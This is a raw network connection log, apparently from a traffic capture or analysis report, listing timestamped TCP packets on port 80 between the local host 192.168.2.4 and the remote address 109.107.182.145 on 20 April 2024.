Apr 20, 2024 00:43:30.147810936 CEST	80	49828	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:30.148060083 CEST	49828	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:30.280832052 CEST	80	49827	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:30.281024933 CEST	80	49827	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:30.287900925 CEST	80	49827	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:30.333139896 CEST	49827	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:30.407413960 CEST	80	49828	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:30.407440901 CEST	80	49828	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:30.413764000 CEST	80	49828	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:30.531580925 CEST	49827	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:30.531631947 CEST	49828	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:30.531891108 CEST	49829	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:30.790245056 CEST	80	49828	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:30.790298939 CEST	80	49827	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:30.790364027 CEST	49828	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:30.790379047 CEST	49827	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:30.793555975 CEST	80	49829	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:30.795577049 CEST	49829	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:30.795723915 CEST	49829	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:31.057094097 CEST	80	49829	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:31.057198048 CEST	80	49829	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:31.057410955 CEST	49829	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:31.319106102 CEST	80	49829	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:31.319120884 CEST	80	49829	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:31.326342106 CEST	80	49829	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:31.379244089 CEST	49829	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:31.455504894 CEST	49829	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:31.455976009 CEST	49830	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:31.714589119 CEST	80	49830	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:31.714695930 CEST	49830	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:31.715421915 CEST	49830	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:31.716999054 CEST	80	49829	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:31.717051029 CEST	49829	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:31.973875999 CEST	80	49830	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:31.973892927 CEST	80	49830	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:31.974096060 CEST	49830	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:32.232861996 CEST	80	49830	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:32.239384890 CEST	80	49830	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:32.285300016 CEST	49830	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:32.361871004 CEST	49830	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:32.362155914 CEST	49831	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:32.620356083 CEST	80	49830	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:32.620435953 CEST	49830	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:32.623404980 CEST	80	49831	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:32.623476982 CEST	49831	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:32.623668909 CEST	49831	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:32.886439085 CEST	80	49831	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:32.886461020 CEST	80	49831	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:32.886665106 CEST	49831	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:33.148174047 CEST	80	49831	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:33.148195982 CEST	80	49831	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:33.155359030 CEST	80	49831	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:33.222842932 CEST	49831	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:33.293893099 CEST	49831	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:33.294217110 CEST	49832	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:33.555799961 CEST	80	49831	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:33.555826902 CEST	80	49832	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:33.555871964 CEST	49831	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:33.555926085 CEST	49832	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:33.556061983 CEST	49832	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:33.817358971 CEST	80	49832	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:33.817384958 CEST	80	49832	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:33.817576885 CEST	49832	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:34.079479933 CEST	80	49832	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:34.086503029 CEST	80	49832	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:34.129077911 CEST	49832	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:34.203990936 CEST	49832	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:34.204277992 CEST	49833	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:34.462534904 CEST	80	49833	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:34.462634087 CEST	49833	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:34.465486050 CEST	80	49832	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:34.465565920 CEST	49832	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:34.466576099 CEST	49833	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:34.724790096 CEST	80	49833	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:34.725017071 CEST	80	49833	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:34.725198984 CEST	49833	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:34.983510017 CEST	80	49833	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:34.990314007 CEST	80	49833	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:35.035312891 CEST	49833	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:35.112631083 CEST	49833	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:35.112903118 CEST	49834	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:35.302098989 CEST	49835	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:35.371958017 CEST	80	49833	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:35.372046947 CEST	49833	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:35.374476910 CEST	80	49834	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:35.374536037 CEST	49834	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:35.421614885 CEST	49836	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:35.560631990 CEST	80	49835	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:35.560723066 CEST	49835	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:35.560870886 CEST	49835	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:35.680243969 CEST	80	49836	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:35.680334091 CEST	49836	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:35.680471897 CEST	49836	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:35.819116116 CEST	80	49835	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:35.819226980 CEST	80	49835	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:35.819422960 CEST	49835	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:35.938870907 CEST	80	49836	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:35.939001083 CEST	80	49836	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:35.939227104 CEST	49836	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:36.077944040 CEST	80	49835	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:36.085891962 CEST	80	49835	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:36.129050016 CEST	49835	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:36.197696924 CEST	80	49836	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:36.206890106 CEST	80	49836	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:36.328166962 CEST	49835	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:36.328201056 CEST	49836	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:36.328438044 CEST	49837	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:36.586502075 CEST	80	49835	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:36.586524010 CEST	80	49836	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:36.586587906 CEST	49835	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:36.586602926 CEST	49836	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:36.589654922 CEST	80	49837	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:36.589874983 CEST	49837	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:36.589874983 CEST	49837	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:36.851207972 CEST	80	49837	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:36.851300955 CEST	80	49837	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:36.851517916 CEST	49837	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:37.112874985 CEST	80	49837	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:37.120865107 CEST	80	49837	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:37.175976992 CEST	49837	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:37.246798038 CEST	49838	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:37.246927977 CEST	49837	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:37.505395889 CEST	80	49838	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:37.505476952 CEST	49838	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:37.505620003 CEST	49838	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:37.508168936 CEST	80	49837	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:37.508274078 CEST	49837	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:37.764238119 CEST	80	49838	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:37.764365911 CEST	80	49838	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:37.764565945 CEST	49838	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:38.023268938 CEST	80	49838	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:38.029974937 CEST	80	49838	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:38.082281113 CEST	49838	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:38.157572031 CEST	49838	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:38.157936096 CEST	49839	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:38.419085979 CEST	80	49838	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:38.419184923 CEST	49838	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:38.421907902 CEST	80	49839	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:38.421969891 CEST	49839	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:38.422148943 CEST	49839	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:38.683448076 CEST	80	49839	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:38.683475971 CEST	80	49839	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:38.683621883 CEST	49839	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:38.944957018 CEST	80	49839	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:38.954054117 CEST	80	49839	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:39.035300970 CEST	49839	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:39.079329967 CEST	49840	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:39.079387903 CEST	49839	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:39.341180086 CEST	80	49839	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:39.341212034 CEST	80	49840	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:39.341233969 CEST	49839	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:39.341270924 CEST	49840	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:39.341438055 CEST	49840	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:39.602912903 CEST	80	49840	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:39.602941990 CEST	80	49840	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:39.603120089 CEST	49840	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:39.865215063 CEST	80	49840	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:39.871640921 CEST	80	49840	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:40.035298109 CEST	49840	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:40.079857111 CEST	49840	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:40.080224991 CEST	49841	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:40.338886023 CEST	80	49841	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:40.341489077 CEST	80	49840	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:40.341590881 CEST	49840	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:40.341615915 CEST	49841	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:40.591250896 CEST	49841	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:40.849886894 CEST	80	49841	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:40.849915981 CEST	80	49841	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:40.850121975 CEST	49841	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:41.109097958 CEST	80	49841	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:41.115606070 CEST	80	49841	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:41.160309076 CEST	49841	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:41.648605108 CEST	49842	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:41.816752911 CEST	49843	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:41.910615921 CEST	80	49842	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:41.910692930 CEST	49842	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:41.910880089 CEST	49842	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:42.076095104 CEST	80	49843	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:42.076252937 CEST	49843	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:42.172424078 CEST	80	49842	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:42.172493935 CEST	80	49842	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:42.221719027 CEST	49843	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:42.221827030 CEST	49842	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:42.481452942 CEST	80	49843	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:42.481482983 CEST	80	49843	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:42.481688023 CEST	49843	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:42.484407902 CEST	80	49842	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:42.490281105 CEST	80	49842	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:42.535295963 CEST	49842	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:42.740256071 CEST	80	49843	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:42.746402025 CEST	80	49843	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:42.925928116 CEST	49843	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:43.002511978 CEST	49810	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:43.003190041 CEST	49841	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:43.003242970 CEST	49843	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:43.003333092 CEST	49842	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:43.003621101 CEST	49844	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:43.261871099 CEST	80	49843	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:43.261941910 CEST	49843	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:43.262002945 CEST	80	49841	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:43.262026072 CEST	80	49844	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:43.262070894 CEST	49841	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:43.262259007 CEST	49844	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:43.262259960 CEST	49844	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:43.264600992 CEST	80	49842	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:43.264652967 CEST	49842	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:43.520838976 CEST	80	49844	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:43.520869017 CEST	80	49844	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:43.521048069 CEST	49844	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:43.780787945 CEST	80	49844	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:43.788742065 CEST	80	49844	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:43.926017046 CEST	49844	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:43.926029921 CEST	49845	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:44.188047886 CEST	80	49845	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:44.188124895 CEST	49845	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:44.188242912 CEST	49845	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:44.449517012 CEST	80	49845	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:44.449544907 CEST	80	49845	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:44.449733019 CEST	49845	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:44.711322069 CEST	80	49845	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:44.717535019 CEST	80	49845	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:44.867165089 CEST	49845	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:44.867630959 CEST	49846	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:45.126395941 CEST	80	49846	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:45.128746033 CEST	80	49845	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:45.128839970 CEST	49845	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:45.129266024 CEST	49846	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:45.129266024 CEST	49846	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:45.387995958 CEST	80	49846	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:45.388027906 CEST	80	49846	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:45.388385057 CEST	49846	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:45.647285938 CEST	80	49846	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:45.647319078 CEST	80	49846	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:45.654557943 CEST	80	49846	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:45.738574028 CEST	49846	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:45.782146931 CEST	49847	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:45.782337904 CEST	49846	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:46.041014910 CEST	80	49846	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:46.041197062 CEST	49846	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:46.043824911 CEST	80	49847	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:46.043898106 CEST	49847	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:46.044049025 CEST	49847	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:46.305612087 CEST	80	49847	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:46.305681944 CEST	80	49847	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:46.305911064 CEST	49847	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:46.567476988 CEST	80	49847	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:46.572840929 CEST	80	49847	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:46.688124895 CEST	49848	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:46.688137054 CEST	49847	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:46.688186884 CEST	49844	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:46.949899912 CEST	80	49847	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:46.949935913 CEST	80	49848	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:46.949970007 CEST	49847	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:46.950005054 CEST	49848	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:46.950150013 CEST	49848	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:47.211776018 CEST	80	49848	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:47.212166071 CEST	80	49848	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:47.212349892 CEST	49848	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:47.475039005 CEST	80	49848	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:47.480381966 CEST	80	49848	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:47.504750013 CEST	49849	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:47.504806995 CEST	49848	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:47.602030039 CEST	49850	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:47.763063908 CEST	80	49849	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:47.763150930 CEST	49849	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:47.766191959 CEST	80	49848	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:47.766247988 CEST	49848	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:47.863749981 CEST	80	49850	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:47.863848925 CEST	49850	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:47.864001989 CEST	49850	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:48.125449896 CEST	80	49850	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:48.125541925 CEST	80	49850	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:48.125893116 CEST	49850	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:48.387469053 CEST	80	49850	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:48.395236015 CEST	80	49850	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:48.516273022 CEST	49850	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:48.516577005 CEST	49851	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:48.776545048 CEST	80	49851	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:48.776660919 CEST	49851	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:48.776802063 CEST	49851	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:48.778917074 CEST	80	49850	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:48.778979063 CEST	49850	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:49.035176039 CEST	80	49851	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:49.035196066 CEST	80	49851	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:49.035403013 CEST	49851	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:49.293791056 CEST	80	49851	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:49.300594091 CEST	80	49851	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:49.432681084 CEST	49852	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:49.498903990 CEST	49851	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:49.691517115 CEST	80	49852	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:49.693530083 CEST	49852	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:49.693587065 CEST	49852	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:49.952666998 CEST	80	49852	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:49.952683926 CEST	80	49852	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:49.952994108 CEST	49852	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:50.211743116 CEST	80	49852	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:50.226156950 CEST	80	49852	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:50.352005959 CEST	49852	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:50.352191925 CEST	49853	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:50.610625029 CEST	80	49852	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:50.611687899 CEST	49852	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:50.613883972 CEST	80	49853	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:50.613977909 CEST	49853	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:50.614104033 CEST	49853	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:50.875747919 CEST	80	49853	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:50.875770092 CEST	80	49853	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:50.876068115 CEST	49853	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:51.138750076 CEST	80	49853	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:51.146447897 CEST	80	49853	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:51.222800970 CEST	49853	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:51.268305063 CEST	49853	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:51.268614054 CEST	49854	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:51.527605057 CEST	80	49854	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:51.527764082 CEST	49854	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:51.527874947 CEST	49854	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:51.530438900 CEST	80	49853	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:51.530528069 CEST	49853	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:51.786362886 CEST	80	49854	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:51.786382914 CEST	80	49854	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:51.786602020 CEST	49854	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:52.045181990 CEST	80	49854	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:52.051901102 CEST	80	49854	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:52.129036903 CEST	49854	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:52.173224926 CEST	49854	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:52.173530102 CEST	49855	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:52.431719065 CEST	80	49854	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:52.431855917 CEST	49854	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:52.434802055 CEST	80	49855	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:52.434894085 CEST	49855	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:52.435059071 CEST	49855	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:52.615519047 CEST	49856	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:52.621181965 CEST	49855	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:52.696346998 CEST	80	49855	109.107.182.145	192.168.2.4
